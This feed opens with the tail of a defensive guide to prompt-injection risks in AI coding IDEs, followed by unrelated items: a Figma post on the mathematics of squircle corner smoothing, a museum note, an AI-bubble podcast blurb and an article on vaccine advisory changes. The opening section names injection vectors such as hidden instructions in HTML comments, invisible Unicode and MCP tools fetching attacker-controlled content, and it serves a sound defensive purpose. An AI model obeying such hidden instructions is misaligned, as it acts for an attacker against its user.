  2. Only connect to trusted MCP servers and continuously monitor these servers for changes (even a trusted server can be breached). Review and understand the data flow of MCP tools (e.g. a legitimate MCP tool might pull information from attacker controlled source, such as a GitHub PR)
  3. Manually review sources you add (such as via URLs) for hidden instructions (comments in HTML / css-hidden text / invisible unicode characters, etc)
  4. Always configure your AI agent to require human-in-the-loop where supported.

Developers Building AI IDEs

  1. Capability-Scoped Tools - Apply the least privilege principle to LLM tools. Every tool should be given only narrow explicit resource set and action. Going beyond the scope should require human-in-the-loop (HITL). Below are examples for a few commonly used tools:
    • read_file : workspace-only (no path traversal or symlinks), blocking dotfiles, IDE configs/files, common credential files, size limits.
    • write_file : allowed only under src/ , Require HITL to any dot-files, common configuration file names (IDE, CI/CD, etc).
    • http_fetch : ideally always require HITL. Alternatively, restrict to allowlisted domains (egress controls).
  2. Continuously Monitor IDE Features - Review old and new IDE features for potential attack vectors. Build new IDE features with the Secure for AI principle in mind.
  3. Agent Assume Breach (Zero Trust) - Always assume prompt injection is possible and agent can be breached. Always require HITL for sensitive actions - anything from going beyond the tool scope to enabling a new MCP server. If the agent can do it - an attacker can do it.
  4. Minimize Prompt Injection Vectors - This is not always possible, but following the defense in depth principle, it is encouraged to minimize prompt injection vectors wherever possible. (e.g. disable AI agent in untrusted projects, warn users about MCP server changes)
  5. System Prompt Hardening and Limit LLM Selection - Strengthen the system prompt using prompt engineering techniques and limit the LLM model selection to newer models in an attempt to make prompt injections more difficult.
  6. Sandboxing - Run executed commands under sandboxes (Docker, OS-level sandbox or isolated machine)
  7. Egress Controls - Create a global allow list of domains on the IDE layer (require HITL for allow list modifications). This should prevent data exfiltration from side effects of any features.
  8. Security Testing for AI Agent’s Tools - As the main attack surface of AI IDEs, regularly perform security testing to the tools for common attack vectors (e.g. path traversal, information leakage, command injection)

Desperately seeking squircles (2018)

Lobsters
www.figma.com
2025-12-08 03:19:07
Comments...
Original Article

My story begins long before I started at Figma, on June 10th, 2013, the day Apple released iOS 7. There was something subtle about the update: the home screen’s app chiclets had a juicier, more organic feel. They’d gone from squares with rounded corners, to squircles (a portmanteau of ‘square’ and ‘circle’).

What is the difference, you ask? To be fair, it’s slight — A squircle begins as the old rounded square, but with some sandpaper applied to the part where the rounding begins on each side of each corner so the transition from straight to curved is less abrupt.

Articulating this using mathematical language is precise: The curvature of a squircle’s perimeter is continuous, whereas a rounded square’s is not. This may seem trivial, a cool story, but subconsciously it really makes a big impact: a squircle doesn’t look like a square with surgery performed on it; it registers as an entity in its own right, like the shape of a smooth pebble in a riverbed, a unified and elemental whole.

1.1 — Rounded squares vs squircles: it’s the little things, apparently!

For a long time, industrial designers making physical objects have known how important curvature is to an object’s perception. Try taking a careful look at the corners of a Macbook, or at an old-school, wired earbud case under a desk lamp. Notice how difficult it is to find an orientation where the corners have harshly contrasting highlights.

This is the result of curvature continuity, and it’s very deliberately included in the design. It’s no surprise that Apple, with fingers uniquely in both the hard and software pies, eventually cross-pollinated their interface designs with industrial ideas by making their icons look like the physical things they produce.

From form to formula

Of course, at Figma we love iOS designers, and we feel our users should have the platform elements they need right at their fingertips. In order to give them access to this new shape while designing, we need to find a precise mathematical description so we can start figuring out how to build it into our tool.

Luckily, people have been asking this question for as long as iOS 7 has existed, and we are certainly not the first to walk this part of the journey! Fundamental initial work by Marc Edwards included a screenshot that indicated the icon shape was a particular generalization of an ellipse, called a superellipse. The following mathematical formula can describe circles, ellipses, and superellipses depending on how a, b, and n are chosen:

2.1 — Superellipse formula

If you choose, say, n = 2, a = 5 and b = 3, you get a normal ellipse with a major axis of 5 oriented along x and a minor axis of 4 oriented along y. Keeping n = 2 and choosing a = b = 1 describes a perfect unit circle. However, if you choose a value for n that is bigger than two, the result is a superellipse — the rounded elliptical shape starts blending into the shape of its bounding rectangle, with the corners becoming perfectly sharp in the limit that n goes to infinity. Early suggestions tried describing Apple’s shape with n = 5. If you try it out , you’ll see it does look really close to what you’d find on a device running iOS 7+.

If this were the true description, we could just fit some reasonable number of Bézier segments to this shape and then do the delicate work of figuring out how to integrate this new concept into Figma. Unfortunately, though, careful follow-up efforts showed that the superellipse formula wasn’t quite right (however, these days true superellipses are used as icons in other contexts). In fact, for all choices of n in the equation above, there is a small but systematic discrepancy when compared with the real icon shape.

This is the first blind alley in the story: We have an elegantly simple equation for something that looks a lot like an iOS squircle, but it’s fundamentally incorrect. And we really do owe our users the real thing.

Making headway requires some serious effort, and again I’m glad to harvest what others have sown. One investigator, Mike Swanson of Juicy Bits, made a hypothesis which builds up the squircles’ corners using a sequence of Bézier curves, which he refined using a genetic algorithm to optimize similarity with the official Apple shape. The results he obtained turned out to be right on, as proven with Manfred Schwind’s excellent direct approach , which looks right at the iOS code which generates the icons. So we’ve got two different approaches yielding the same Bézier structure: iOS 7 Squircles were cracked and double checked by others, and we didn’t even have to calculate anything!

A spanner in the works

Two important details remain, preventing us from cloning the shape directly into Figma and moving on:

First, there is the surprising fact that the iOS version of the formula (at least at the time of investigation) was found to have some quirks — the corners aren’t exactly symmetrical, and one side has a minuscule straight segment which clearly doesn’t belong. We don’t want that because it complicates both code and tests, but removing the extra segment is easily handled by just mirroring the bug-free half of the corner.

Second, when flattening the aspect ratio of the real iOS rectangle shape, it abruptly changes from the squircle we’re focusing on to a totally different sort shape. This would be unpleasant for a designer, and takes a strong point of view about what shapes ‘should’ be used under certain circumstances.

The most natural and useful behavior when flattening a squircle is for the smoothing to gradually disappear until there’s no room left to “sand” the transition between the round and the straight parts of the corner. Flattening even further should reduce the rounded section’s corner radius, which is in line with how Figma behaves today. The Apple squircle formula is of little help to us here, because its smoothing is done in a fixed way: it gives no indication for how to get nearer to or further from the old rounded rectangle. What we really need is a parametrizable smoothing scheme, where some particular value of the parameter corresponds very closely to the Apple shape.

As an added bonus, if we can parametrize the smoothing process that transforms a rounded square into a squircle, we can likely apply the same process to other places where corner rounding happens in Figma: stars, polygons, and even corners in arbitrary vector networks drawn with the pen tool. Despite the complication, this is beginning to look like a much more complete and valuable feature than simply adding support for iOS 7 squircles would have been. We are now giving designers an infinite variety of new shapes to use in many situations, and one of them happens to correspond to the squircle icon shape that got us started in the first place.

Requiring that our squircle smoothing scheme be continuously adjustable yet conform to the iOS 7 shape at some comfortable point its adjustible range is the first emergent constraint in our story, and it’s a difficult one to satisfy. An analogous task would be for a dancer to take a single still image of a ballerina in mid-flight, then design a leap in such a way that a movie of her executing it reproduces the image exactly at a precise point in time. Which sounds freaking hard. So maybe some calculation will be necessary after all?

Before diving into parameterizing squircles, let’s take a step back and dust off some formal tools that will help us analyze what’s going on. First of all, we need to settle on how we’ll describe a squircle. When discussing superellipses before, we used an equation involving x and y, where all the points (x, y) in the plane which satisfy the equation implicitly trace out the superellipse. This is elegant when the equation is simple, but real squircles are a patchwork of Bézier curves spliced together, which leads to unmanageably messy implicit equations.

We can deal with this complication by using a more explicit approach: take a single variable t, restrict it to a finite interval, and map each value which t can take on that interval to a distinct point on the squircle perimeter (Bézier curves themselves are almost always represented this way, in fact). If we concentrate on just one of the corners, thereby restricting our analysis to a curved line with a clear beginning and end, we can choose the mapping between t and the corner such that t = 0 corresponds to the beginning of the line, t = 1 corresponds to the end of the line, and smoothly sliding t between 0 to 1 smoothly traces out the round part of the corner. In mathematical language, we will describe our corner by the path r(t), which is structured as

4.1 — Plane curve bijection with [0,1]

where x(t) and y(t) are separate functions of t for the x and y components of r. We can think of r(t) as a kind of path history, say for a trip you’d take in your car. At every time t between when you begin and when you arrive, you can evaluate r(t) to get your car’s position along your route. From the path r(t) we can differentiate to get the velocity v(t) and acceleration a(t):

4.2 — Plane curve velocity and acceleration

Finally, the mathematical curvature, which plays a starring role in our story, can in turn be expressed in terms of the velocity and acceleration:

4.3 — Unsigned curvature of plane curves

But what does this formula really mean? Though it may look a bit complicated, curvature has a straightforward geometric construction, originally due to Cauchy:

  1. The center of curvature C at any point P along the curve lies at the intersection of the line normal to the curve at P and another normal line taken infinitesimally close to P. (As a side note, the circle centered at C as constructed above is called the osculating circle at P, from the Latin verb osculare , meaning ‘to kiss’. 😙 Isn’t that great?)
  2. The radius of curvature R is the distance between C and P.
  3. The curvature κ is the inverse of R.

As constructed above, the curvature κ is nonnegative and doesn’t distinguish between rightward and leftward turns. Since we do care about this, we form the signed curvature k from κ by assigning a positive sign if the path is turning right, and a negative sign if the path is turning left. This concept too has an analogue in the car picture: at any point t, the signed curvature k(t) is just the angle through which the steering wheel has been turned at time t, with plus signs used for turns to the right and minus signs for turns to the left.

Geometry is king: Arc length parametrization

With curvature introduced, we have a last couple wrinkles to iron out. First, consider for a moment two cars driving along a squircle corner shaped route; one car keeps speeding up and then braking the entire way (🤢), while the other car smoothly speeds up then coasts down to a halt at the end. These two different ways of driving will yield very different path histories even though the exact same route was taken. We only care about the shape of the corner, not how any one driver negotiated it — so how can we separate the two? The key is to use not time to label the points in the history, but rather the cumulative distance traveled, or arc length. So instead of answering questions like ‘where was the car ten minutes into its trip?’, we’d rather answer ‘where was the car ten miles into its trip?’. This way of describing paths, the arc length parameterization, captures their geometry alone.

If we have some path history r(t) in hand, we can always extract the arc length s as a function of t from the path by integrating its speed, as follows:

5.1 — Arc length integral

If we can invert this relationship to find t(s), then we can substitute this for t in our path history r(t) to get the desired arc length parameterization r(s). The arc length parameterization of a path is equivalent to a path history made by a car driving at unit speed, so unsurprisingly the velocity v(s) is always a unit vector, and the acceleration a(s) is always perpendicular to the velocity. Consequently, the arc length parameterized version of curvature simplifies to just the magnitude of acceleration,

5.2 — Curvature in the arc-length parametrization

and we can tack on the appropriate right or left handed sign to form the signed curvature k(s). Most of the complication in the more general curvature definition was evidently there just to cancel out the non-geometric content in the path history. Curvature is, after all, a purely geometric quantity, so it’s really pleasing to see it look simple in the geometric parameterization.

Design the curvature, compute the curve

Now for the other wrinkle: we’ve just seen how to go from a path-history description of a curve r(t) to its arc length parameterization r(s), and how to extract the signed curvature k(s) from it. But can we do the reverse? Can we design a curvature profile and from it derive the parent curve? Let’s consider the car analogy again — suppose that as we were driving at constant unit speed along a route, we recorded the position of the steering wheel continuously throughout the journey. If we took that steering data and gave it later to another driver, they’d be able to reconstruct the route perfectly, so long as they played back the steering wheel positions properly and drove exactly the same speed. So we see intuitively that we have enough information to reconstruct the parent curve, but how does the computation look mathematically? It’s a little bit hairy, but it’s still possible, thanks to Euler, using the arc length parameterization — if we choose a coordinate system such that the curve starts at the origin and has its initial heading directed along the x axis, then x(s) and y(s) can be reconstructed from k(s) as follows:

6.1 — Recovering a curve from its curvature

Last, note the argument of the sine and cosine functions above: it is the integral of the signed curvature. Normally, the arguments supplied to trigonometric functions are angles measured in radians, and that turns out to be true in this case as well: the integral from a to b of the signed curvature is the heading at b minus the heading at a. Thus, if we start with a square and sand off the corner in whatever crazy way we want, then measure the curvature over the part we sanded and integrate up the result, we’ll always get π/2.

Squircles under the scalpel

Now that we are wrinkle-free, let’s see what happens when we apply these analytical tools to some real shapes. We’ll start with a corner of a rounded rectangle which has a corner radius of one, plotting first the corner itself and then the curvature as a function of arc length:

7.1 — Rounded rectangle curvature analysis

We repeat this process now for the real Apple squircle corners to look at their curvatures, which is very different and very enlightening:

7.2 — iOS 7 squircle curvature analysis

The curvature looks quite jagged, but this is not necessarily bad. As we’ll see later, there’s a tradeoff between having a smooth curvature plot and having a small number of Bézier curves, and the iOS corner only uses three. Generally, designers would rather deal with fewer Bézier curves at the expense of having a mathematically perfect curvature profile. These details aside, we can kind of squint at the plot on the right and see a general picture emerge: the curvature ramps up, flattens in the middle, and then ramps back down.

Breakthrough: Smoothing parameterized

Bingo! In that last observation lies the key to how we can parameterize the smoothing of our squircle corner. At zero smoothing, we want a curvature profile like the rounded rectangle: tabletop shaped. As smoothing slowly increases, we want the height of the tabletop to stay fixed while its cliff edges start turning into steep slopes, yielding an isosceles trapezoidal curvature profile (still with a total area of π/2, of course). As smoothing approaches its maximum, we want the flat part of the trapezoid to disappear, leaving us with a broad isosceles triangular profile whose peak height is that of the original tabletop.

8.1 — Curvature profiles for various values of the smoothing parameter

Let’s try to express this sketch of a curvature profile in mathematical terms, using ξ as a smoothing parameter which varies between zero and one. Foreseeing use with other shapes whose corners aren’t right angles, we also introduce the angle θ which is the turning angle of the corner — π/2 in the case of squares. Putting both together, we can define a piecewise function in three parts, one for the ramp up, one for the flat top, and one for the ramp down:

8.2 — Squircle curvature profile parameterization

Notice that the first and third pieces (the ramps) disappear as ξ tends to zero, and that the middle piece (the flat top) disappears as ξ tends to one. We showed above how we can go from a curvature profile to a parent curve, so let’s try it out on the first equation above, which describes a line whose curvature starts at zero and steadily increases as we walk along it. We’ll do the easy interior integral first:

8.3 — First integral of 6.1 as applied to equations 8.2

Great, so far so good! We can keep chugging along to form the next couple of integrals:

8.4 — Second integral of 6.1 as applied to equations 8.2 (Fresnel integral)

Alas, here we hit a bump, as these integrals aren’t quite as easy. If you have heard about the connection between trigonometric functions and exponentials, you might guess that these integrals are related to the error function, which can’t be expressed in terms of elementary functions. The same is true of these integrals. So what do we do? It is beyond the scope of this post to justify (see this math exchange post for a clue as to how you would), but in this case we can substitute in the Taylor expansions for sine and cosine, then swap the sum and the integral to obtain:

8.5 — Fresnel integral series expansions

This looks nigh-impenetrable in its series form, so let’s take a step further and explicitly write out the first few terms in each series with all simplifying multiplication performed. This delivers the following few terms for the x and y parts of the shape:

8.6 — Explicit low-order (n < 3) parts of 8.3

Apotheosis clothoid

This is a concrete result! We can actually plot this pair of equations (given some reasonable choices for ξ, θ and R) to get a path as a function of s. If we had access to arbitrarily many terms and could compute the sums, we’d see that as s increases, the curve begins to spiral in on itself, though this happens far from the domain we’re interested in, which is the flatter ramp-up section.

Echoing a sentiment from an earlier point in the post, we’re not the first to tread here, either. Owing to its linear curvature, which is very useful, many have stumbled on this curve in the past — it is known as an Euler spiral, cornu, or a clothoid, and it finds a lot of use in designing tracks for vehicles, including roads and roller-coasters.

9.1 — Clothoid spiral up to s = 5

Using the just the n < 10 part of the expansion as given in 8.5, we finally have all the pieces necessary to make our first artifact. The expansion represents the sloping (first) part of equation 8.2 — it’s easy to adapt it to the falling (third) part, and we’ll bridge these sloping portions with a circular arc for the flat (second) part. This method delivers a mathematically perfect squircle corner that exactly follows the curvature design we first introduced in equations 8.2. Here is the curvature analysis performed for a clothoid squircle corner with ξ = 0.4:

9.2 — Squircle corner at ξ = 0.4 using ninth-order clothoids and circular arcs

Though it feels good to have obtained this elegant shape, we must realize this is only an ideal version. This exact shape won’t work for several reasons, first among which is the fact that the center of curvature of the circular portion moves as a function of the smoothing parameter ξ — ideally, it would remain fixed.

More importantly, the power of the arc length s in the terms we’ve kept to produce the plots can be as high as nine. In Figma, continuous paths must be representable by cubic Bézier curves (of which quadratic Bézier curves and lines are special cases) and this limits us to keeping only cubic and lower order terms. This means that the series above for x(s) and y(s) must each be truncated to a single term. It’s hard to have much confidence that such a drastic truncation will retain the properties we like.

Sadly, discarding higher-order terms is not sufficient — the resulting construction performs very poorly when ξ is large. We can see this below in the figure drawn for ξ = 0.9:

9.3 — Squircle corner at ξ = 0.9 using third-order clothoids and circular arcs

This shape is clearly unusable. It seems three orders isn’t enough to keep the curvature increasing throughout the ramp up and ramp down sections of the parameterization, meaning that we have a ton of accumulated error by the time we get to the circular section. Sadly, this means that all of our clothoid results are unusable, and we have to go back to the drawing board.

Nothing gold can stay

Let’s take a step back, consider our constraints again, and try to extract what we can from the previous efforts before heading off in a new direction.

First, we know that the perfect clothoid construction has exactly the curvature profile we need, but the center of curvature of the central circular section changes location as a function of the smoothing parameter ξ. This is undesirable because our current on-canvas rectangle rounding UI uses a dot right at the center of curvature which a user can drag to set the corner radius. It might feel a bit weird if that dot moved as the smoothing varied. Also, the iOS shape’s central section is right where it would be if it were just a rounded rectangle, further implying total independence of the center’s location from ξ. So we can keep the same basic curvature design goal and add the constraint that the circular section keep a fixed center of curvature as ξ varies.

Second, we know that designers don’t want the construction of the squircle corner to be too complicated. Apple’s squircle (after removing the weird tiny straight part) has only one Bézier curve connecting its circular section to the incoming edge, so maybe we can construct the same type of thing?

Thirdly, we have a somewhat arcane technical constraint which isn’t apparent at the outset, but that becomes a major implementation issue. To approach this, let’s consider a square, 100px by 100px, which has vanilla corner rounding applied for a corner radius of 20px. This means that each side of the square’s perimeter has 60px of straight track. If we flatten the square into a squashed rectangle so that it’s 80px by 100px, then the straight section of the short side will be only 40px long. What happens when we flatten the square so much that we run out of straight section? Or if we flatten it more, so that the rectangle is, say, 20px by 100px? Figma’s present behavior is to figure out the largest value of corner rounding we have room to apply and then draw the shape using that instead. Our 20px by 100px rectangle would thus have 10px of rounding applied.

If smoothing corners with radius R and parameter ξ consumes p pixels, then the function p(R,ξ) must be invertible to ξ(R,p).

Any smoothing process we might use to create a squircle will eat up even more of the straight edge than simple rounding does. Imagine the case above again, a 100px by 100px rectangle, apply 20px of rounding, and then apply some smoothing procedure which removes 12 more pixels from the straight sides. This leaves us with a 36px budget in the straight section for flattening. What happens when flattening the rectangle to 60px by 100px? It seems almost obvious, by analogy, that we should back off the smoothing until the budget is balanced and the straight portion is exactly consumed. But how do we compute the value of ξ which satisfies a specific pixel consumption budget? We must be able to do this quickly or we can’t implement the feature.

Again, this problem has a very precise mathematical articulation: If smoothing corners with radius R and parameter ξ consumes p pixels, then the function p(R,ξ) must be invertible to ξ(R,p). This is a somewhat hidden constraint which would also have ruled out a high order clothoid series solution.

Finally, we have a usability constraint, which is that changing the smoothing should actually do something perceptible to the shape. If we yank the smoothing parameter ξ back and forth between zero and one, it better make a visible difference! Imagine we did all this work for something that people can barely see — it’s unacceptable. This is fundamentally a requirement of usefulness, and as such it’s obviously the strongest constraint.

Keep it simple, squircle

Let’s try the most direct thing we can think of that meets the constraints listed above and just try to pick a single parameterized Bézier curve that takes the circular portion and links it up to the straight side. The figure below shows a type of Bézier curve suitable for this purpose:

11.1 — Cubic Bézier control points for the ramp-up part of the squircle

A few of its properties merit further explanation. First, control points 1, 2 and 3 all fall in a line. This ensures that the curvature at point 1, which connects to the straight part of the squircle, is exactly zero. Generally speaking, if we define a coordinate system and associate point 1 with P1, point 2 with P2, and so on, the curvature at point 1 is given by:

11.2 — Unsimplified curvature at point 1 from figure 11.1

We can see, reassuringly, that the cross product vanishes when points 1–3 are collinear. This same formula can be applied to point 4 by labeling in reverse; doing so and plugging in the geometry and the labels in the figure gives the following for the curvature there:

11.3 — Simplified curvature at point 4 from figure 11.1

Ideally, this would be the same as the curvature of the circular section, or 1/R, which provides us one more constraint. Finally, the values of c and d are fixed by the fact that the end of this curve has to meet the circular portion and be tangent to it where it joins, which means the curvature constraint above just gives us the value of b:

11.4 — Solution for b from figure 11.1 which delivers curvature continuity

If we find it important to preserve the initial linear increase in curvature (which the ideal clothoid solution featured at point 1) we can set a equal to b, which fixes all of the points on the Bézier curve and gives us a potential solution. Using these observations, we construct a simple Bézier squircle below using a smoothing of ξ = 0.6:

This looks pretty good, and it takes a lot of cues from the original clothoid calculation. Unfortunately, the variation over the full range, from ξ = 0 to 1 only makes a very subtle difference in the corner shape. Here we’ll show the corner at two zoom levels, with curves for ξ = 0.1, 0.3, 0.5, 0.7, and 0.9 shown in different colors:

This is a barely noticeable effect despite its nice mathematical properties. It’s certainly closer to being a product than the curve we got by truncating the clothoid series that we considered previously. If we could only tweak the formula a little bit to get some more variation!

Small strokes of sqluck

We can take one more small step back to figure out how to proceed. Recalling that we need an invertible relationship between pixels consumed in smoothing and the smoothing parameter ξ, we can focus initially on this mapping, make it as simple as possible, and see what comes out when we try to make a parametrization of squircles from it.

We know something already about how simply rounding the corners consumes pixels. I won’t walk through the trigonometry necessary, but taking a corner of opening angle θ and rounding it to have a radius of R pixels will consume q pixels of the edge from the apex of the corner, with q given as follows:

12.1 — Segment length consumed by rounding

What if we choose p(R,ξ) based on q in just the simplest possible way, something like:

12.2 — Segment length consumed by rounding and smoothing

All this means is that our maximum smoothing setting will consume again the length of segment that we consumed in rounding normally. Making this choice would fix the quantity a + b from the figure above. Recall that in any circumstance c and d are firmly fixed, so fixing a + b means there is one final decision to make: how large is a relative to b? Again, if we make the simplest choice, namely a = b, we have determined another modified Bézier parameterization, whose corners and curvatures we show below:

12.3 — Corner shape and curvature profile for simple smoothing scheme

That visual variation looks promising! The curves look attractive, sanded in a way. However the curvature profile looks pretty rough. If we could just make it a bit less spiky, it might be a serious contender for a product. Despite the poor curvature profile, even this simple family of shapes has a member that looks extremely similar to the Apple version of the squircle, almost close enough to put in front of our users without a bad conscience.

Now we turn to the curvature profile, our last outstanding problem. Rather than splitting the difference evenly between a and b as we did above, why don’t we give two thirds of the interval to a and the remaining third to b? This will throttle the curvature from increasing too quickly, reducing the long tails on the curvature profile and cutting at the spikes. This modification results in the following shapes:

12.4 — Corner shape and curvature profile for improved simple smoothing scheme

The curvature profiles are much improved, the visual degree of variation is still enough for this to be a useful product, ξ = 0.6 just about nails the iOS shape, and the nice visual character of the curves which this stunningly simple approach generates is retained. So we must ask the question — what’s blocking this from becoming the product? Nothing.

Watching the ship sail

It’s useful here, at the end, to reflect on the process itself. Something I see borne out repeatedly in this story is the power and effectiveness of trying the simplest possible thing. Doing so will, in the worst case, give a baseline for comparison if the simplest thing ends up not working out. Evaluating it in a serious way also shines a light on the most important things we need to consider when refining the approach and moving forward. And in the best cases, like ours, the simplest thing happens to be pretty good already!

Lastly, there is a meditation on the difference between a good product and a perfect one. I feel some pangs of embarrassment writing this that I was unable to come up with a better curvature profile. I’m sure I could have given more time — there are many avenues left to explore. Intellectually, it’s somewhat unsatisfying to have gotten such a beautiful result as the clothoid series but not to have been able to at least see a reflection of that in the spline we shipped in the end. But there’s also the wider context — the constraints of time when working at a small company are very real — and a design which violates these cannot be considered good.

If this type of problem resonates with you, we’re hiring !

Niche Museums: The Museum of Jurassic Technology

Simon Willison
simonwillison.net
2025-12-08 03:16:41
Niche Museums: The Museum of Jurassic Technology I finally got to check off the museum that's been top of my want-to-go list since I first started documenting niche museums I've been to back in 2019. The Museum of Jurassic Technology opened in Culver City, Los Angeles in 1988 and has been leaving vi...
Original Article

Niche Museums: The Museum of Jurassic Technology . I finally got to check off the museum that's been top of my want-to-go list since I first started documenting niche museums I've been to back in 2019.

The Museum of Jurassic Technology opened in Culver City, Los Angeles in 1988 and has been leaving visitors confused as to what's real and what isn't for nearly forty years.

Posted 8th December 2025 at 3:16 am

Is AI a bubble that’s about to pop? – podcast

Guardian
www.theguardian.com
2025-12-08 03:00:38
Should we be worried about the vast amounts of money pouring into AI? And what will happen if the bubble bursts? Blake Montgomery reports For months there have been fears that artificial intelligence is a bubble and that it is about to burst. As the Guardian US tech editor Blake Montgomery explains,...
Original Article

For months there have been fears that artificial intelligence is a bubble and that it is about to burst.

As the Guardian US tech editor Blake Montgomery explains, the magnificent seven – Alphabet, Amazon, Apple, Meta, Microsoft, Nvidia and Tesla – make up one-third of the value of the S&P 500, the index of the 500 biggest stocks in the US market. All are heavily invested in AI.

Never before has so much of the economy been dependent on one technology. And despite the trillions of dollars invested, AI is yet to show a way it can sustainably turn over profits.

So what happens, asks Nosheen Iqbal , if one day the faith falters, the money stops coming in and the bottom falls out?

A stock market trader looks at prices on a screen.
Photograph: Angela Weiss/AFP/Getty Images

Sunday Science: The Vaccine Guardrails Are Gone

Portside
portside.org
2025-12-08 02:51:27
Sunday Science: The Vaccine Guardrails Are Gone Ira Sun, 12/07/2025 - 21:51 ...
Original Article

In case there was any doubt before, it’s now undeniable that Robert F. Kennedy Jr.’s allies are in charge of the country’s vaccine policy. The latest evidence: His handpicked vaccine advisory committee voted today to scrap the decades-old guidance that all babies receive the hepatitis-B vaccine shortly after birth. Now the panel recommends that only children born to mothers who test positive for the infection or have unknown status automatically receive a shot at birth. Everyone else has the option of a shot at birth or—as the committee recommends—waiting until at least two months after birth.

Those who favor the change argue that other countries, such as Denmark and Finland, vaccinate only newborns of mothers who test positive, and that rates of infection are relatively low in the United States. All of this is true. But in the U.S., many expectant mothers don’t get tested for hepatitis B, and even if they do, those tests sometimes fail to pick up the virus. The rationale for giving the vaccine right away is to wipe out an infection that will afflict the majority of people who contract it as babies for the rest of their life (and, for as many as a quarter of those chronically infected, result in their death from cirrhosis or liver cancer). The World Health Organization and the American Academy of Pediatrics both endorse the universal birth dose. “When you remove that foundation, you essentially cause the whole prevention process to collapse,” Noele Nelson, a former CDC researcher who has published multiple papers on hepatitis B, told me.

The meeting, which began yesterday, was also proof that Kennedy, and those he’s empowered, no longer feel bound by previous norms. In June, Kennedy fired every outside adviser on the committee, alleging unspecified conflicts of interests (even though members are required to disclose those conflicts and recuse themselves when necessary). He has since stacked the board with members who share his doubts about vaccine safety. During the previous meeting, in September, those new members seemed at times unaware of basic facts about vaccines and often unsure about what they were voting on. In the end, their recommendations were fairly modest, advising that children younger than 4 receive two separate shots for MMR and chickenpox.

This week’s meeting was, if anything, more chaotic. Days before it started, Martin Kulldorff, a former Harvard Medical School professor who had been chair of the advisory board, left the committee for a position at the Department of Health and Human Services. The new chair is Kirk Milhoan, a pediatric cardiologist who is a member of the Independent Medical Alliance, a group that has promoted the use of ivermectin to treat COVID-19 despite clinical trials showing that the drug isn’t effective against the virus. But Milhoan didn’t show up in person for the meeting, leaving the moderating duties to Vice Chair Robert Malone, the author of the conspiracy-theory-driven book PsyWar and a hero to people who oppose COVID vaccination; Malone has called Anthony Fauci “an accomplice to mass murder.” (HHS did not respond to a request for comment, nor did Malone or Milhoan.) In the days leading up to the decision on the hepatitis-B shot, committee members received four different versions of the question they’d be voting on, and the final language is still difficult to decipher.

Read: The most extreme voice on RFK Jr.’s new vaccine committee

The meeting was dominated by presentations not from career CDC staff, as it was even in September, but from fringe figures who are closely aligned with Kennedy. Mark Blaxill—a longtime Kennedy ally in the anti-vaccine cause who now works for the CDC—gave a presentation about hepatitis-B-vaccine safety. He noted that he’d been “a critic of the CDC for many years, so it’s been an honor and a privilege to work on the inside and to address some of these issues.” Another presenter, Cynthia Nevison, is a research associate at the University of Colorado at Boulder’s Institute of Arctic and Alpine Research. She is also one of Blaxill’s co-authors on a 2021 paper on rising autism rates that was retracted after the journal’s editors and publisher concluded that they had made a host of errors, including misrepresenting data. (Blaxill told me that the paper was later published with “modest additions” in another journal.)

Just as the meeting was more chaotic than earlier iterations, the pushback was even sharper. Cody Meissner, a pediatrician and committee member who’d also served on the board during the Obama administration, noted, accurately, that rates of hepatitis B have declined in the United States “thanks to the effectiveness of our current immunization program.” Malone interjected—as he did at several points in the meeting—that this was merely Meissner’s opinion. “These are facts, Robert,” Meissner responded. Joseph Hibbeln, a fellow committee member, shouted that there hadn’t been “any information or science presented” about whether delaying the hepatitis-B dose by two months made sense. Amy Middleman, a pediatrician and representative of the Society for Adolescent Health and Medicine, urged the committee “to go back to our true experts” at the CDC. Adam Langer, a longtime CDC expert who is the acting principal deputy director of the center that oversees hepatitis prevention, at one point cautioned the committee not to use countries such as Denmark, which has a much smaller population and more comprehensive prenatal care, as a basis for comparison. Most panelists seem not to have cared.

In the end, the concerns of the committee’s few dissenters—along with the chorus of objections from representatives of medical organizations—were disregarded. The committee voted overwhelmingly (8–3) to change the recommendation. “This has a great potential to cause harm, and I simply hope that the committee will accept its responsibility when this harm is caused,” Hibbeln said afterward. The board also voted that parents should have the option of testing their children’s antibody titers against hepatitis B before they receive subsequent doses of the vaccine—a move for which, several meeting participants pointed out, there is little scientific support. A senior CDC scientist wrote to me that it was the “least science-based, most illogical public health recommendation in U.S. history.” The committee’s decisions are not final yet: The CDC director still needs to sign off on them. Because Kennedy pushed out Susan Monarez less than a month after she was confirmed as director, the decision will rest with the acting director, Jim O’Neill, whom Kennedy selected as deputy HHS secretary and who has no background in medicine.

Read: ‘It feels like the CDC is over’

The new normal for the vaccine advisory committee appears to be the appearance of vigorous scientific debate in which the experts are either not consulted or simply disregarded. That doesn’t bode well, because the committee apparently plans to reconsider the rest of the childhood-immunization schedule—something Kennedy promised Senator Bill Cassidy, who chairs the Senate health committee, that he would not do. Earlier today, the committee heard a presentation from Aaron Siri, a lawyer who worked for Kennedy’s presidential campaign and has represented clients who believe that their children were injured by vaccines. He used his time to spell out his doubts about the childhood-vaccine schedule.

According to Malone, the committee had asked Paul Offit and Peter Hotez, both widely respected vaccine experts, to appear as well. In an email, Hotez told me he declined because the board “appears to have shifted away from science and evidence-based medicine.” Offit told me in an email that he didn’t remember being asked to attend but that he would have declined because the committee “is now an illegitimate process run by anti-vaccine activists.” Even Cassidy, who has mostly stopped short of directly criticizing Kennedy’s actions in office, slammed Siri’s appearance in front of the committee, posting on X earlier this week that the committee was now “totally discredited.” (When I asked Siri for comment, he pointed me to an X post in which he’d challenged Cassidy to a public debate on vaccines. A spokesperson for Cassidy’s office did not respond to a request for comment.)

At the end of today’s meeting, the board gave a preview of its next target: aluminum salts, which are used in a number of childhood inoculations to boost immune response. (A presentation on the topic by Kulldorff was originally scheduled for today, but was removed from the agenda last night.) A recent study of more than 1 million Danish children found no evidence that aluminum salts are associated with neurodevelopmental disorders such as autism. Yet Milhoan, the new chair, said concerns had “reached a threshold where it needs to be considered.” Another member, Retsef Levi, speculated about how new safety trials might be conducted. If the committee decides at its next meeting, in February, that a common ingredient, used in vaccines for decades, is unsafe, it could upend childhood immunization in the United States. Which is, of course, exactly what many of Kennedy’s longtime allies have wanted all along.


is a staff writer at The Atlantic .

